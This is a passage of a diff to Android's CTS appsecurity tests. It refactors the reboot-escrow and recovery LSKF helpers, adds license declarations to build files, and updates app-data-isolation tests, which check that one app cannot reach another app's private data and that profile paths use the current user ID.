+        getDevice().executeShellCommand(
+                "cmd lock_settings set-resume-on-reboot-provider-package ");
+    }
+
     private void deviceSetup(int userId) throws Exception {
         // To receive boot broadcasts, kick our other app out of stopped state
         getDevice().executeShellCommand("am start -a android.intent.action.MAIN"
@@ -300,14 +445,22 @@
     }
 
     private void deviceRequestLskf() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery request-lskf cts-test1");
+        deviceRequestLskf(PKG);
+    }
+
+    private void deviceRequestLskf(String clientName) throws Exception {
+        String res = getDevice().executeShellCommand("cmd recovery request-lskf " + clientName);
         if (res == null || !res.contains("success")) {
             fail("could not set up recovery request-lskf");
         }
     }
 
     private void deviceClearLskf() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery clear-lskf");
+        deviceClearLskf(PKG);
+    }
+
+    private void deviceClearLskf(String clientName) throws Exception {
+        String res = getDevice().executeShellCommand("cmd recovery clear-lskf " + clientName);
         if (res == null || !res.contains("success")) {
             fail("could not clear-lskf");
         }
@@ -338,8 +491,13 @@
     }
 
     private void deviceRebootAndApply() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply cts-test1 cts-test");
-        if (res != null && res.contains("failure")) {
+        deviceRebootAndApply(PKG);
+    }
+
+    private void deviceRebootAndApply(String clientName) throws Exception {
+        String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply " + clientName
+                + " cts-test");
+        if (res != null && res.contains("Reboot and apply status: failure")) {
             fail("could not call reboot-and-apply");
         }
 
@@ -425,7 +583,8 @@
     }
 
     private boolean isSupportedDevice() throws Exception {
-        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN) && getDevice().hasFeature(FEATURE_REBOOT_ESCROW);
+        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN)
+                && getDevice().hasFeature(FEATURE_REBOOT_ESCROW);
     }
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
index 695ed263..7fa2618 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
@@ -54,9 +54,10 @@
     @Test
     @AppModeFull(reason = "Only full apps may install")
     public void testSessionReferrerUriVisibleToOwner() throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), SESSION_INSPECTOR_PKG_A,
+        // Device test launches an Activity, so it should run under current user.
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), SESSION_INSPECTOR_PKG_A,
                 "com.android.cts.sessioninspector.SessionInspectorTest", "testOnlyOwnerCanSee");
-        Utils.runDeviceTests(getDevice(), SESSION_INSPECTOR_PKG_B,
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), SESSION_INSPECTOR_PKG_B,
                 "com.android.cts.sessioninspector.SessionInspectorTest", "testOnlyOwnerCanSee");
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
index d70f126..ba51823 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccessSerialLegacy",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
index 30ca4ef..24b6ec1 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccessSerialModern",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
index aca31e7..e9df6a5 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsApkVerityTestApp",
     manifest: "AndroidManifest.xml",
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
index 9dda405..f5688c7 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
@@ -13,6 +13,16 @@
 // limitations under the License.
 
 // A rule to collect apps for debugging purpose. See ApkVerityTestAppPrebuilt/README.md.
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 genrule {
     name: "CtsApkVerityTestDebugFiles",
     srcs: [
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
index cf37807..575d94e 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
@@ -15,6 +15,16 @@
 // Prebuilts that are signed with corresponding key of
 // build/make/target/product/security/fsverity-release.x509.der
 
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 filegroup {
     name: "CtsApkVerityTestPrebuiltFiles",
     srcs: [
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm
index e53a861..3edb54b 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
index eab5745..e54333d 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm
index 75396f1..dcc8f6c 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
index b39c3b5..2c6e734 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm
index e53a861..3edb54b 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
index eab5745..e54333d 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm
index 75396f1..dcc8f6c 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
index b39c3b5..2c6e734 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm
index e53a861..3edb54b 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
index eab5745..e54333d 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm
index 75396f1..dcc8f6c 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
index b39c3b5..2c6e734 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm
index e53a861..3edb54b 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
index eab5745..e54333d 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm
index 75396f1..dcc8f6c 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
index b39c3b5..2c6e734 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/x86_64/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
index 0c4702f..32fabc6 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppAccessData",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index fdbb439..20be1a7 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -23,6 +23,11 @@
     created by com.android.cts.appwithdata.
     -->
 
+    <!--
+    We want to test without app data isolation, which comes with targetSdk 30.
+    -->
+    <uses-sdk android:targetSdkVersion="29" />
+
     <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
index b1f804e..74d754d 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.fail;
 
+import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
@@ -28,10 +29,14 @@
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -45,6 +50,9 @@
 /**
  * Test that another app's private data cannot be accessed, while its public data can.
  *
+ * These tests are for apps targeting SDK 29 (or lower). Tests for the behavior for apps targeting
+ * SDK 30+ are in {@code AppDataIsolationTests}.
+ *
  * Assumes that {@link #APP_WITH_DATA_PKG} has already created the private and public data.
  */
 @RunWith(AndroidJUnit4.class)
@@ -70,10 +78,15 @@
 
     private static final Uri PRIVATE_TARGET = Uri.parse("content://com.android.cts.appwithdata/");
 
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+    }
+
     /**
-     * Tests that another app's private data cannot be accessed. It includes file
-     * and detailed traffic stats.
-     * @throws IOException
+     * Tests that another app's private data cannot be accessed.
      */
     @Test
     public void testAccessPrivateData() throws IOException {
@@ -90,17 +103,8 @@
         }
     }
 
-    private ApplicationInfo getApplicationInfo(String packageName) {
-        try {
-            return InstrumentationRegistry.getContext().getPackageManager().getApplicationInfo(packageName, 0);
-        } catch (PackageManager.NameNotFoundException e) {
-            throw new IllegalStateException("Expected package not found: " + e);
-        }
-    }
-
     /**
-     * Tests that another app's public file can be accessed
-     * @throws IOException
+     * Tests that another app's public file cannot be accessed
      */
     @Test
     public void testAccessPublicData() throws IOException {
@@ -117,6 +121,21 @@
         }
     }
 
+    /**
+     * Tests that we can't even access another app's root private data dir.
+     */
+    @Test
+    public void testStatPrivateDataDir() {
+        ApplicationInfo applicationInfo = getApplicationInfo(APP_WITH_DATA_PKG);
+        String path = applicationInfo.dataDir;
+        try {
+            Os.stat(path);
+            fail("Was able to stat() another app's private data dir: " + path);
+        } catch (ErrnoException expected) {
+            assertEquals(path, OsConstants.EACCES, expected.errno);
+        }
+    }
+
     @Test
     public void testAccessProcQtaguidTrafficStatsFailed() {
         // For untrusted app with SDK P or above, proc/net/xt_qtaguid files are no long readable.
@@ -130,7 +149,7 @@
     public void testAccessPrivateTrafficStats() {
         int otherAppUid = -1;
         try {
-            otherAppUid = InstrumentationRegistry.getContext()
+            otherAppUid = mContext
                     .createPackageContext(APP_WITH_DATA_PKG, 0 /*flags*/)
                     .getApplicationInfo().uid;
         } catch (NameNotFoundException e) {
@@ -159,7 +178,7 @@
         final long txp = TrafficStats.getUidTxPackets(uid);
 
         // Start remote server
-        final int port = InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
+        final int port = mContext.getContentResolver().call(PRIVATE_TARGET, "start", null, null)
                 .getInt("port");
 
         // Try talking to them, but shift blame
@@ -169,7 +188,7 @@
 
             Bundle extras = new Bundle();
             extras.putParcelable("fd", ParcelFileDescriptor.fromSocket(socket));
-            InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
+            mContext.getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
 
             socket.connect(new InetSocketAddress("localhost", port));
 
@@ -181,7 +200,7 @@
         } catch (IOException e) {
             throw new RuntimeException(e);
         } finally {
-            InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
+            mContext.getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
         }
 
         SystemClock.sleep(1000);
@@ -192,4 +211,12 @@
         assertEquals(txb, TrafficStats.getUidTxBytes(uid));
         assertEquals(txp, TrafficStats.getUidTxPackets(uid));
     }
+
+    private ApplicationInfo getApplicationInfo(String packageName) {
+        try {
+            return mContext.getPackageManager().getApplicationInfo(packageName, 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new IllegalStateException("Expected package not found: " + e);
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index b00dcc3..a9eb884 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -12,12 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppDataIsolationAppA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -35,8 +39,8 @@
     name: "CtsAppDataIsolationAppSharedA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -54,8 +58,8 @@
     name: "CtsAppDataIsolationAppDirectBootA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -73,8 +77,8 @@
     name: "CtsAppDataIsolationAppB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -92,8 +96,8 @@
     name: "CtsAppDataIsolationAppSharedB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -105,4 +109,4 @@
         enabled: false,
     },
     manifest: "AppB/AndroidManifest_shared.xml",
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index 4e8cadf..c25d3d9 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.appdataisolation.appa;
 
+import static com.android.cts.appdataisolation.common.FileUtils.APPB_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.CE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.DE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.EXTERNAL_DATA_FILE_NAME;
@@ -26,6 +27,7 @@
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileExists;
 import static com.android.cts.appdataisolation.common.FileUtils.touchFile;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
@@ -171,7 +173,8 @@
 
     @Test
     public void testAppACurProfileDataAccessible() {
-        assertDirIsAccessible("/data/misc/profiles/cur/0/" + mContext.getPackageName());
+        assertDirIsAccessible("/data/misc/profiles/cur/"+ getCurrentUserId() + "/"
+                + mContext.getPackageName());
     }
 
     @Test
@@ -181,12 +184,12 @@
 
     @Test
     public void testCannotAccessAppBDataDir() throws Exception {
-        ApplicationInfo applicationInfo = mContext.getPackageManager().getApplicationInfo(
-                FileUtils.APPB_PKG,0);
+        ApplicationInfo applicationInfo = mContext.getPackageManager()
+                .getApplicationInfo(APPB_PKG, 0);
         assertDirDoesNotExist(applicationInfo.dataDir);
         assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
-        assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
-        assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.APPB_PKG);
+        assertDirDoesNotExist("/data/data/" + APPB_PKG);
+        assertDirDoesNotExist("/data/misc/profiles/cur/" + getCurrentUserId() + "/" + APPB_PKG);
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
@@ -239,11 +242,12 @@
         mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_BOOT_COMPLETED));
 
         testUnlockDevice();
-        setUpExternalStoragePaths();
 
         assertTrue("User not unlocked", unlocked.await(1, TimeUnit.MINUTES));
         assertTrue("No locked boot complete", bootCompleted.await(1, TimeUnit.MINUTES));
 
+        setUpExternalStoragePaths();
+
         // The test app process should be still running, make sure CE DE now is available
         testAppACeDataExists();
         testAppADeDataExists();
@@ -283,4 +287,4 @@
             mContext.unbindService(mServiceConnection);
         }
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
index 5b1ec66..d209a42 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
@@ -18,6 +18,7 @@
 
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsNotAccessible;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import android.app.Service;
 import android.content.Intent;
@@ -38,7 +39,10 @@
                 assertDirDoesNotExist(applicationInfo.dataDir);
                 assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
                 assertDirDoesNotExist("/data/data/" + getPackageName());
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + getPackageName());
+
+                int currentUserId = getCurrentUserId();
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + getPackageName());
                 assertDirIsNotAccessible("/data/misc/profiles/ref");
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
@@ -46,14 +50,16 @@
                 assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
                         applicationInfo.deviceProtectedDataDir));
